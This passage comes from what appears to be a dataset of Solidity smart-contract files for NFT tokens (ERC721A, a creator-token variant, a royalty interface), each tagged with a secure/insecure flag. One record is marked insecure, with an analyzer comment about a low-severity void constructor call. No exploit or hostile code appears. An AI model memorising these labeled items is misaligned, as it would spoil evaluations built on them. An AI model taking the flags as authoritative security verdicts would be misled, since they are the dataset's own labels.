currentSpotMinted) revert();\n }\n }\n }\n\n function _safeMintSpot(address to, uint256 tokenId) internal virtual {\n _safeMintSpot(to, tokenId, \"\");\n }\n\n function _approve(address to, uint256 tokenId) internal virtual {\n _approve(to, tokenId, false);\n }\n\n function _approve(\n address to,\n uint256 tokenId,\n bool approvalCheck\n ) internal virtual {\n address owner = ownerOf(tokenId);\n\n if (approvalCheck && _msgSenderERC721A() != owner)\n if (!isApprovedForAll(owner, _msgSenderERC721A())) {\n _revert(ApprovalCallerNotOwnerNorApproved.selector);\n }\n\n _tokenApprovals[tokenId].value = to;\n\n emit Approval(owner, to, tokenId);\n }\n\n function _burn(uint256 tokenId) internal virtual {\n _burn(tokenId, false);\n }\n\n function _burn(uint256 tokenId, bool approvalCheck) internal virtual {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n address from = address(uint160(prevOwnershipPacked));\n\n (\n uint256 approvedAddressSlot,\n address approvedAddress\n ) = _getApprovedSlotAndAddress(tokenId);\n\n if (approvalCheck) {\n if (\n !_isSenderApprovedOrOwner(\n approvedAddress,\n from,\n _msgSenderERC721A()\n )\n )\n if (!isApprovedForAll(from, _msgSenderERC721A()))\n _revert(TransferCallerNotOwnerNorApproved.selector);\n }\n\n _beforeTokenTransfers(from, address(0), tokenId, 1);\n\n assembly {\n if approvedAddress {\n sstore(approvedAddressSlot, 0)\n }\n }\n\n unchecked {\n _packedAddressData[from] += (1 << _BITPOS_NUMBER_BURNED) - 1;\n\n _packedOwnerships[tokenId] = _packOwnershipData(\n from,\n (_BITMASK_BURNED | _BITMASK_NEXT_INITIALIZED) |\n _nextExtraData(from, address(0), prevOwnershipPacked)\n );\n\n if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n\n if (_packedOwnerships[nextTokenId] == 0) {\n if (nextTokenId != _currentIndex) {\n _packedOwnerships[nextTokenId] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, address(0), tokenId);\n\n _afterTokenTransfers(from, address(0), tokenId, 1);\n\n unchecked {\n _burnCounter++;\n }\n }\n\n function _setExtraDataAt(uint256 index, uint24 extraData) internal virtual {\n uint256 packed = _packedOwnerships[index];\n\n if (packed == 0) _revert(OwnershipNotInitializedForExtraData.selector);\n\n uint256 extraDataCasted;\n\n assembly {\n extraDataCasted := extraData\n }\n\n packed =\n (packed & _BITMASK_EXTRA_DATA_COMPLEMENT) |\n (extraDataCasted << _BITPOS_EXTRA_DATA);\n\n _packedOwnerships[index] = packed;\n }\n\n function _extraData(\n address from,\n address to,\n uint24 previousExtraData\n ) internal view virtual returns (uint24) {}\n\n function _nextExtraData(\n address from,\n address to,\n uint256 prevOwnershipPacked\n ) private view returns (uint256) {\n uint24 extraData = uint24(prevOwnershipPacked >> _BITPOS_EXTRA_DATA);\n\n return uint256(_extraData(from, to, extraData)) << _BITPOS_EXTRA_DATA;\n }\n\n function _msgSenderERC721A() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _toString(\n uint256 value\n ) internal pure virtual returns (string memory str) {\n assembly {\n let m := add(mload(0x40), 0xa0)\n\n mstore(0x40, m)\n\n str := sub(m, 0x20)\n\n mstore(str, 0)\n\n let end := str\n\n for {\n let temp := value\n } 1 {} {\n str := sub(str, 1)\n\n mstore8(str, add(48, mod(temp, 10)))\n\n temp := div(temp, 10)\n\n if iszero(temp) {\n break\n }\n }\n\n let length := sub(end, str)\n\n str := sub(str, 0x20)\n\n mstore(str, length)\n }\n }\n\n function _revert(bytes4 errorSelector) internal pure {\n assembly {\n mstore(0x00, errorSelector)\n\n revert(0x00, 0x04)\n }\n }\n}",
"file_name": "solidity_code_425.sol",
"secure": 1,
"size_bytes": 24783
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\nimport \"./CreatorTokenBase.sol\" as CreatorTokenBase;\nimport \"./ICreatorToken.sol\" as ICreatorToken;\n\nabstract contract ERC721AC is ERC721A, CreatorTokenBase {\n\t// WARNING Vulnerability (void-cst | severity: Low | ID: e698db4): Void constructor called in ERC721AC.constructor(string,string) CreatorTokenBase()\n\t// Recommendation for e698db4: Remove the constructor call.\n constructor(\n string memory name_,\n string memory symbol_\n\t// void-cst | ID: e698db4\n ) CreatorTokenBase() ERC721A(name_, symbol_) {}\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return\n interfaceId == type(ICreatorToken).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function _beforeTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual override {\n for (uint256 i = 0; i < quantity; ) {\n _validateBeforeTransfer(from, to, startTokenId + i);\n\n unchecked {\n ++i;\n }\n }\n }\n\n function _afterTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual override {\n for (uint256 i = 0; i < quantity; ) {\n _validateAfterTransfer(from, to, startTokenId + i);\n\n unchecked {\n ++i;\n }\n }\n }\n\n function _msgSenderERC721A()\n internal\n view\n virtual\n override\n returns (address)\n {\n return _msgSender();\n }\n}",
"file_name": "solidity_code_426.sol",
"secure": 0,
"size_bytes": 1807
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\" as IERC165;\n\ninterface IERC2981 is IERC165 {\n function royaltyInfo(\n uint256 tokenId,\n uint256 salePrice\n ) external view returns (address receiver, uint256 royaltyAmount);\n}",
"file_name": "solidity_code_427.sol",
"secure": 1,
"size_bytes": 325
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.